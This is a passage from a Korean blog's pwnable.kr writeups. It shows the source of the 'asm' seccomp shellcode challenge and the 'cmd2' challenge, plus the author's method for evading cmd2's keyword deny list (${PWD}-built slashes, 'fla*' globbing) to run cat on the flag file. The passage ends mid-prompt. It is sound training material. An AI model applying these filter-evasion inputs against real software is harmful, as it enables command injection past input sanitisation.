enabled\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e    Stripped:   No\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sys/mman.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;seccomp.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sys/prctl.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;fcntl.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define LENGTH 128\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esandbox\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003escmp_filter_ctx\u003c/span\u003e \u003cspan class=\"n\"\u003ectx\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eseccomp_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSCMP_ACT_KILL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;seccomp error\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eseccomp_rule_add\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSCMP_ACT_ALLOW\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003eSCMP_SYS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eseccomp_rule_add\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSCMP_ACT_ALLOW\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003eSCMP_SYS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eseccomp_rule_add\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSCMP_ACT_ALLOW\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003eSCMP_SYS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eseccomp_rule_add\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSCMP_ACT_ALLOW\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003eSCMP_SYS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eseccomp_rule_add\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSCMP_ACT_ALLOW\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003eSCMP_SYS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eexit_group\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eseccomp_load\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eseccomp_release\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;seccomp error\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eexit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eseccomp_release\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ectx\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003estub\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x48\\x31\\xc0\\x48\\x31\\xdb\\x48\\x31\\xc9\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x31\\xff\\x48\\x31\\xed\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x4d\\x31\\xd2\\x4d\\x31\\xdb\\x4d\\x31\\xe4\\x4d\\x31\\xed\\x4d\\x31\\xf6\\x4d\\x31\\xff\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003esetvbuf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e_IONBF\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003esetvbuf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e_IOLBF\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Welcome to shellcoding practice challenge.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;If this does not challenge you. you should play \u0026#39;asg\u0026#39; challenge :)\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003esh\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nf\"\u003emmap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0x41414000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x1000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eMAP_ANONYMOUS\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eMAP_FIXED\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eMAP_PRIVATE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ememset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esh\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x90\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x1000\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ememcpy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esh\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estub\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003estrlen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estub\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eoffset\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003esizeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estub\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;give me your x64 shellcode: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esh\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003ealarm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003echroot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;/home/asm_pwn\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// you are in chroot jail. so you can\u0026#39;t use symlink in /tmp\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003esandbox\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"n\"\u003esh\u003c/span\u003e\u003cspan class=\"p\"\u003e)();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e바이너리에 setgid 가 걸려있지 않아 readme 를 읽어봤더니 현재 asm, asm.c 는 분석용이고 권한상승 후 플래그를 얻으려면 nc 0 9026 에 페이로드를 전달해야 한다고 합니다.\u003c/p\u003e","title":"pwnable.kr asm Writeup"},{"content":"이번 문제는 특이하게 커멘드를 입력받아 system 함수로 실행해줍니다.\n하지만 모든 환경 변수가 지워지고 PATH 도 이상하게 바뀝니다. 게다가 입력되는 커멘드에서 환경변수와 관련된 문자열도 필터링됩니다.\n/* Daddy bought me a system command shell. but he put some filters to prevent me from playing with it without his permission... but I wanna play anytime I want! ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1) =========================================================== cmd2@ubuntu:~$ checksec cmd2 [*] \u0026#39;/home/cmd2/cmd2\u0026#39; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int filter(char* cmd){ int r=0; r += strstr(cmd, \u0026#34;=\u0026#34;)!=0; r += strstr(cmd, \u0026#34;PATH\u0026#34;)!=0; r += strstr(cmd, \u0026#34;export\u0026#34;)!=0; r += strstr(cmd, \u0026#34;/\u0026#34;)!=0; r += strstr(cmd, \u0026#34;`\u0026#34;)!=0; r += strstr(cmd, \u0026#34;flag\u0026#34;)!=0; return r; } extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); } int main(int argc, char* argv[], char** envp){ delete_env(); putenv(\u0026#34;PATH=/no_command_execution_until_you_become_a_hacker\u0026#34;); if(filter(argv[1])) return 0; printf(\u0026#34;%s\\n\u0026#34;, argv[1]); system( argv[1] ); return 0; } 처음엔 여러가지 명령어를 시도해봤는데 PATH 때문에 당연히 먹히지 않았습니다.\n그래서 다른 방법을 시도해봤습니다.\n쉘에는 특별한 문법이 있습니다. $(CMD) 인데, CMD 부분에 명령어를 넣게 되면 해석되어 실행된 후 반환된 문자열을 쉘 인터프리터에 그대로 전달하게 됩니다.\n포너블을 하시는 분들이라면 페이로드를 전달할 때 많이 사용하니 익숙하실겁니다.\nandrew@ubuntu:~/fun/writeups/wargame/pwnablekr/cmd2$ $(echo \u0026#34;ls -al\u0026#34; ) total 8 drwxrwxr-x 2 andrew andrew 4096 Apr 14 05:47 . drwxr-xr-x 15 andrew andrew 4096 Apr 14 05:47 .. 만약 $() 에 환경 변수를 넣게 되면 환경변수의 값이 쉘에 전달됩니다.\nandrew@ubuntu:~/fun/writeups/wargame/pwnablekr$ ls -al ${SHELL} -rwxr-xr-x 1 root root 1037528 Jul 12 2019 /bin/bash PWD 환경변수는 현재 경로를 나타냅니다. 필터링 되는 문자중엔 슬래시(/) 가 있는데 루트 디렉터리로 이동한 다음 PWD 를 출력하면 / 가 나오니 이 부분은 우회가 가능합니다.\ncmd2@pwnable:~$ ./cmd2 set set IFS=\u0026#39; \u0026#39; OPTIND=\u0026#39;1\u0026#39; PATH=\u0026#39;/no_command_execution_until_you_become_a_hacker\u0026#39; PPID=\u0026#39;253278\u0026#39; PS1=\u0026#39;$ \u0026#39; PS2=\u0026#39;\u0026gt; \u0026#39; PS4=\u0026#39;+ \u0026#39; PWD=\u0026#39;/home/cmd2\u0026#39; cmd2@pwnable:~$ 현재 PATH 로 인해 cat 명령이 먹히지 않아 flag 파일의 내부를 읽을 수 없는데, 실행 인자에 \\${PWD}bin\\${PWD}cat 이런식으로 넘겨주면 cat 실행이 가능합니다.\n또 flag 문자열도 필터링 되어있는데 이건 fla* 로 간단히 우회가 가능합니다.\ncmd2@pwnable:/$ 